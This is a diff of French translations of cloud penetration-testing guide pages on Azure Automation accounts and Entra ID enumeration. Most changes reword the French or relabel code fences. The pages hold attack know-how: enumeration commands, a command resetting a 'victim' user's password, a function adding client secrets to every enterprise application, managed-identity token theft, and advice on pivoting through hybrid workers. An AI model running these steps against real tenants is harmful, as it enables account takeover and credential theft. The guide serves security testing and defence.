- **Connexions** : Utilisées pour stocker des **informations de connexion** à des services externes. Cela pourrait contenir des **informations sensibles**.
|
||||||
- **Accès réseau** : Il peut être défini comme **public** ou **privé**.
|
- **Accès réseau** : Il peut être défini comme **public** ou **privé**.
|
||||||
|
|
||||||
### Runbooks & Jobs
|
### Runbooks & Jobs
|
||||||
|
|
||||||
Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou dans des éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité.
|
Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité.
|
||||||
|
|
||||||
Dans le **code** situé à l'intérieur des **Runbooks** pourrait se trouver des **informations sensibles** (comme des identifiants).
|
Dans le **code** situé à l'intérieur des **Runbooks** pourrait contenir des **informations sensibles** (comme des identifiants).
|
||||||
|
|
||||||
Un **Job est une instance d'exécution d'un Runbook**. Lorsque vous exécutez un Runbook, un Job est créé pour suivre cette exécution. Chaque job comprend :
|
Un **Job est une instance d'exécution d'un Runbook**. Lorsque vous exécutez un Runbook, un Job est créé pour suivre cette exécution. Chaque job comprend :
|
||||||
|
|
||||||
- **Statut** : En attente, En cours, Terminé, Échoué, Suspendu.
|
- **Statut** : En attente, En cours, Terminé, Échoué, Suspendu.
|
||||||
- **Sortie** : Le résultat de l'exécution du Runbook.
|
- **Sortie** : Le résultat de l'exécution du Runbook.
|
||||||
- **Heure de début et de fin** : Quand le job a commencé et a été terminé.
|
- **Heure de début et de fin** : Quand le job a commencé et s'est terminé.
|
||||||
|
|
||||||
Un job contient la **sortie** de l'exécution du **Runbook**. Si vous pouvez **lire** les **jobs**, faites-le car ils **contiennent** la **sortie** de l'exécution (potentiellement des **informations sensibles**).
|
Un job contient la **sortie** de l'exécution du **Runbook**. Si vous pouvez **lire** les **jobs**, faites-le car ils **contiennent** la **sortie** de l'exécution (potentiellement des **informations sensibles**).
|
||||||
|
|
||||||
@@ -61,14 +61,14 @@ Cependant, il est également possible de **créer vos propres environnements**,
|
|||||||
|
|
||||||
### Groupes de travailleurs hybrides
|
### Groupes de travailleurs hybrides
|
||||||
|
|
||||||
Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **Azure Sandbox**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce sandbox a des limitations, telles que l'accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus gourmandes en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure.
|
Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **bac à sable Azure**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce bac à sable a des limitations, telles que l'accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus gourmandes en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure.
|
||||||
|
|
||||||
Lorsqu'un groupe de travailleurs hybrides est créé, il est nécessaire d'indiquer les **identifiants** à utiliser. Il y a 2 options :
|
Lorsqu'un groupe de travailleurs hybrides est créé, il est nécessaire d'indiquer les **identifiants** à utiliser. Il y a 2 options :
|
||||||
|
|
||||||
- **Identifiants par défaut** : Vous n'avez pas besoin de fournir les identifiants et les runbooks seront exécutés à l'intérieur des VM en tant que **Système**.
|
- **Identifiants par défaut** : Vous n'avez pas besoin de fournir les identifiants et les runbooks seront exécutés à l'intérieur des VM en tant que **Système**.
|
||||||
- **Identifiants spécifiques** : Vous devez fournir le nom de l'objet d'identifiants à l'intérieur du compte d'automatisation, qui sera utilisé pour exécuter les **runbooks à l'intérieur des VM**. Par conséquent, dans ce cas, il pourrait être possible de **voler des identifiants valides** pour les VM.
|
- **Identifiants spécifiques** : Vous devez fournir le nom de l'objet d'identifiants à l'intérieur du compte d'automatisation, qui sera utilisé pour exécuter les **runbooks à l'intérieur des VM**. Par conséquent, dans ce cas, il pourrait être possible de **voler des identifiants valides** pour les VM.
|
||||||
|
|
||||||
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressant).
|
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivotement intéressante).
|
||||||
|
|
||||||
De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
|
De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
|
||||||
|
|
||||||
@@ -78,11 +78,11 @@ De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identité
|
|||||||
### Configuration d'état (SC)
|
### Configuration d'état (SC)
|
||||||
|
|
||||||
>[!WARNING]
|
>[!WARNING]
|
||||||
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la configuration d'état Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la configuration d'état d'Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||||
|
|
||||||
Les comptes d'automatisation prennent également en charge la **Configuration d'état (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et **d'appliquer** des configurations DSC à des machines **Windows** et **Linux**.
|
Les comptes d'automatisation prennent également en charge la **Configuration d'état (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et **d'appliquer** des configurations DSC à des machines **Windows** et **Linux**.
|
||||||
|
|
||||||
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges vers les identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**.
|
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**.
|
||||||
|
|
||||||
## Énumération
|
## Énumération
|
||||||
```bash
|
```bash
|
||||||
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
|
|||||||
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
|
||||||
```
|
```
|
||||||
|
|
||||||
```powershell
|
```bash
|
||||||
# Check user right for automation
|
# Check user right for automation
|
||||||
az extension add --upgrade -n automation
|
az extension add --upgrade -n automation
|
||||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||||
|
|||||||
@@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant principalement **l'authentification, l'autorisation et la gestion des utilisateurs**.
|
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant notamment **l'authentification, l'autorisation et la gestion des utilisateurs**.
|
||||||
|
|
||||||
Les fonctionnalités clés d'Azure AD impliquent **l'authentification multi-facteurs** et **l'accès conditionnel**, en plus d'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités des utilisateurs basée sur le cloud.
|
Les fonctionnalités clés d'Azure AD incluent **l'authentification multi-facteurs** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion basée sur le cloud des identités des utilisateurs.
|
||||||
|
|
||||||
## Énumération
|
## Énumération
|
||||||
|
|
||||||
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Mg" }}
|
{{#tab name="Mg" }}
|
||||||
```powershell
|
```bash
|
||||||
# Login Open browser
|
# Login Open browser
|
||||||
Connect-MgGraph
|
Connect-MgGraph
|
||||||
|
|
||||||
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
Connect-AzAccount #Open browser
|
Connect-AzAccount #Open browser
|
||||||
# Using credentials
|
# Using credentials
|
||||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||||
@@ -104,7 +104,7 @@ Get-Command *az*
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Raw PS" }}
|
{{#tab name="Raw PS" }}
|
||||||
```powershell
|
```bash
|
||||||
#Using management
|
#Using management
|
||||||
$Token = 'eyJ0eXAi..'
|
$Token = 'eyJ0eXAi..'
|
||||||
# List subscriptions
|
# List subscriptions
|
||||||
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
Connect-AzureAD #Open browser
|
Connect-AzureAD #Open browser
|
||||||
# Using credentials
|
# Using credentials
|
||||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||||
@@ -154,7 +154,7 @@ Lorsque vous **vous connectez** via **CLI** à Azure avec n'importe quel program
|
|||||||
Par exemple, un **script powershell** qui **s'authentifie** utilise une application avec l'identifiant client **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'application n'apparaît pas dans la console, un administrateur système pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas y accéder en utilisant des outils qui se connectent via cette application.
|
Par exemple, un **script powershell** qui **s'authentifie** utilise une application avec l'identifiant client **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'application n'apparaît pas dans la console, un administrateur système pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas y accéder en utilisant des outils qui se connectent via cette application.
|
||||||
|
|
||||||
Cependant, il existe **d'autres identifiants clients** d'applications qui **vous permettront de vous connecter à Azure** :
|
Cependant, il existe **d'autres identifiants clients** d'applications qui **vous permettront de vous connecter à Azure** :
|
||||||
```powershell
|
```bash
|
||||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||||
|
|
||||||
$token = Invoke-Authorize -Credential $credential `
|
$token = Invoke-Authorize -Credential $credential `
|
||||||
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate Users
|
# Enumerate Users
|
||||||
Get-AzureADUser -All $true
|
Get-AzureADUser -All $true
|
||||||
Get-AzureADUser -All $true | select UserPrincipalName
|
Get-AzureADUser -All $true | select UserPrincipalName
|
||||||
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate users
|
# Enumerate users
|
||||||
Get-AzADUser
|
Get-AzADUser
|
||||||
# Get details of a user
|
# Get details of a user
|
||||||
@@ -295,20 +295,20 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
|||||||
{{#endtabs }}
|
{{#endtabs }}
|
||||||
|
|
||||||
#### Changer le mot de passe de l'utilisateur
|
#### Changer le mot de passe de l'utilisateur
|
||||||
```powershell
|
```bash
|
||||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||||
|
|
||||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||||
```
|
```
|
||||||
### MFA & Politiques d'Accès Conditionnel
|
### MFA & Conditional Access Policies
|
||||||
|
|
||||||
Il est fortement recommandé d'ajouter MFA à chaque utilisateur, cependant, certaines entreprises ne le mettront pas en place ou pourraient le configurer avec un Accès Conditionnel : L'utilisateur sera **tenu de faire MFA si** il se connecte depuis un emplacement, un navigateur ou **une condition spécifique**. Ces politiques, si elles ne sont pas configurées correctement, pourraient être sujettes à des **contournements**. Vérifiez :
|
Il est fortement recommandé d'ajouter MFA à chaque utilisateur, cependant, certaines entreprises ne le mettront pas en place ou pourraient le configurer avec un accès conditionnel : L'utilisateur sera **tenu de faire MFA si** il se connecte depuis un emplacement, un navigateur ou **une condition spécifique**. Ces politiques, si elles ne sont pas configurées correctement, pourraient être sujettes à des **bypasses**. Vérifiez :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Groupes
|
### Groups
|
||||||
|
|
||||||
Pour plus d'informations sur les groupes Entra ID, consultez :
|
Pour plus d'informations sur les groupes Entra ID, consultez :
|
||||||
|
|
||||||
@@ -318,7 +318,7 @@ Pour plus d'informations sur les groupes Entra ID, consultez :
|
|||||||
|
|
||||||
{{#tabs }}
|
{{#tabs }}
|
||||||
{{#tab name="az cli" }}
|
{{#tab name="az cli" }}
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate groups
|
# Enumerate groups
|
||||||
az ad group list
|
az ad group list
|
||||||
az ad group list --query "[].[displayName]" -o table
|
az ad group list --query "[].[displayName]" -o table
|
||||||
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate Groups
|
# Enumerate Groups
|
||||||
Get-AzureADGroup -All $true
|
Get-AzureADGroup -All $true
|
||||||
# Get info of 1 group
|
# Get info of 1 group
|
||||||
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get all groups
|
# Get all groups
|
||||||
Get-AzADGroup
|
Get-AzADGroup
|
||||||
# Get details of a group
|
# Get details of a group
|
||||||
@@ -394,12 +394,12 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
|||||||
#### Ajouter un utilisateur au groupe
|
#### Ajouter un utilisateur au groupe
|
||||||
|
|
||||||
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
|
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
|
||||||
```powershell
|
```bash
|
||||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **entrer dans d'autres groupes**.\
|
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **entrer dans d'autres groupes**.\
|
||||||
> Consultez comment abuser des groupes dynamiques sur la page suivante :
|
> Vérifiez comment abuser des groupes dynamiques sur la page suivante :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||||
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get Service Principals
|
# Get Service Principals
|
||||||
Get-AzureADServicePrincipal -All $true
|
Get-AzureADServicePrincipal -All $true
|
||||||
# Get details about a SP
|
# Get details about a SP
|
||||||
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get SPs
|
# Get SPs
|
||||||
Get-AzADServicePrincipal
|
Get-AzADServicePrincipal
|
||||||
# Get info of 1 SP
|
# Get info of 1 SP
|
||||||
@@ -467,8 +467,8 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
|
|||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Brut" }}
|
{{#tab name="Raw" }}
|
||||||
```powershell
|
```bash
|
||||||
$Token = 'eyJ0eX..'
|
$Token = 'eyJ0eX..'
|
||||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||||
$RequestParams = @{
|
$RequestParams = @{
|
||||||
@@ -489,7 +489,7 @@ Headers = @{
|
|||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Listez et essayez d'ajouter un secret client sur chaque application d'entreprise</summary>
|
<summary>Listez et essayez d'ajouter un secret client sur chaque application d'entreprise</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Just call Add-AzADAppSecret
|
# Just call Add-AzADAppSecret
|
||||||
Function Add-AzADAppSecret
|
Function Add-AzADAppSecret
|
||||||
{
|
{
|
||||||
@@ -603,7 +603,7 @@ Pour plus d'informations sur les Applications, consultez :
|
|||||||
|
|
||||||
Lorsqu'une application est générée, 2 types de permissions sont accordées :
|
Lorsqu'une application est générée, 2 types de permissions sont accordées :
|
||||||
|
|
||||||
- **Permissions** accordées au **Service Principal**
|
- **Permissions** données au **Service Principal**
|
||||||
- **Permissions** que l'**application** peut avoir et utiliser **au nom de l'utilisateur**.
|
- **Permissions** que l'**application** peut avoir et utiliser **au nom de l'utilisateur**.
|
||||||
|
|
||||||
{{#tabs }}
|
{{#tabs }}
|
||||||
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# List all registered applications
|
# List all registered applications
|
||||||
Get-AzureADApplication -All $true
|
Get-AzureADApplication -All $true
|
||||||
# Get details of an application
|
# Get details of an application
|
||||||
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get Apps
|
# Get Apps
|
||||||
Get-AzADApplication
|
Get-AzADApplication
|
||||||
# Get details of one App
|
# Get details of one App
|
||||||
@@ -659,7 +659,7 @@ Get-AzADAppCredential
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un jeton est le mot de passe de l'application.\
|
> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un jeton est le mot de passe de l'application.\
|
||||||
> Donc, si vous trouvez ce **mot de passe**, vous pouvez accéder en tant que **service principal** **à l'intérieur** du **tenant**.\
|
> Donc, si vous trouvez ce **mot de passe**, vous pouvez accéder en tant que **service principal** **à l'intérieur** du **tenant**.\
|
||||||
> Notez que ce mot de passe n'est visible que lors de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer).\
|
> Notez que ce mot de passe n'est visible que lorsqu'il est généré (vous pouvez le changer mais vous ne pouvez pas le récupérer).\
|
||||||
> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (afin qu'il puisse l'usurper).\
|
> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (afin qu'il puisse l'usurper).\
|
||||||
> Les connexions en tant que ces services principaux ne sont **pas marquées comme risquées** et elles **n'auront pas de MFA.**
|
> Les connexions en tant que ces services principaux ne sont **pas marquées comme risquées** et elles **n'auront pas de MFA.**
|
||||||
|
|
||||||
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get role assignments on the subscription
|
# Get role assignments on the subscription
|
||||||
Get-AzRoleDefinition
|
Get-AzRoleDefinition
|
||||||
# Get Role definition
|
# Get Role definition
|
||||||
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Raw" }}
|
{{#tab name="Raw" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get permissions over a resource using ARM directly
|
# Get permissions over a resource using ARM directly
|
||||||
$Token = (Get-AzAccessToken).Token
|
$Token = (Get-AzAccessToken).Token
|
||||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||||
@@ -801,7 +801,7 @@ az rest --method GET \
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get all available role templates
|
# Get all available role templates
|
||||||
Get-AzureADDirectoryroleTemplate
|
Get-AzureADDirectoryroleTemplate
|
||||||
# Get enabled roles (Assigned roles)
|
# Get enabled roles (Assigned roles)
|
||||||
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Azure AD" }}
|
{{#tab name="Azure AD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Enumerate Devices
|
# Enumerate Devices
|
||||||
Get-AzureADDevice -All $true | fl *
|
Get-AzureADDevice -All $true | fl *
|
||||||
# List all the active devices (and not the stale devices)
|
# List all the active devices (and not the stale devices)
|
||||||
@@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
|||||||
{{#endtabs }}
|
{{#endtabs }}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont pouvoir **se connecter**.\
|
> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\
|
||||||
> De plus, si l'utilisateur connecté est **Propriétaire** de l'appareil, il sera **administrateur local**.
|
> De plus, si l'utilisateur connecté est **Propriétaire** de l'appareil, il sera **administrateur local**.
|
||||||
|
|
||||||
### Unités administratives
|
### Unités administratives
|
||||||
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="AzureAD" }}
|
{{#tab name="AzureAD" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get Administrative Units
|
# Get Administrative Units
|
||||||
Get-AzureADMSAdministrativeUnit
|
Get-AzureADMSAdministrativeUnit
|
||||||
Get-AzureADMSAdministrativeUnit -Id <id>
|
Get-AzureADMSAdministrativeUnit -Id <id>
|
||||||
@@ -890,25 +890,25 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#endtabs }}
|
{{#endtabs }}
|
||||||
|
|
||||||
## Escalade de Privilèges Entra ID
|
## Escalade de privilèges Entra ID
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-entraid-privesc/
|
../az-privilege-escalation/az-entraid-privesc/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Escalade de Privilèges Azure
|
## Escalade de privilèges Azure
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-authorization-privesc.md
|
../az-privilege-escalation/az-authorization-privesc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Mécanismes Défensifs
|
## Mécanismes de défense
|
||||||
|
|
||||||
### Gestion des Identités Privilégiées (PIM)
|
### Gestion des identités privilégiées (PIM)
|
||||||
|
|
||||||
La Gestion des Identités Privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
|
La Gestion des identités privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
|
||||||
|
|
||||||
